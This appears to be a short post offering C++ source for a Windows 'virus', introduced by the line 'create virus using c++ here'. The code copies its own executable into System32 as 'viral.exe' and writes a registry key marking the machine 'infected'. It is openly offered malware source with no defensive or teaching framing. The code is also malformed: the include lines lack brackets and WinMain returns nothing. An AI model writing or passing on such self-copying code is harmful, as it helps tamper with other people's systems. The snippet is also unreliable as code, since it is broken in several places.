create virus using c++ here

#include windows.h 

#include string.h

char windir[MAX_PATH];

int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              int nCmdShow)
{

char pathname[256];
HKEY hKey;


GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);


unsigned char reg[10] = "infected";

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);

} 

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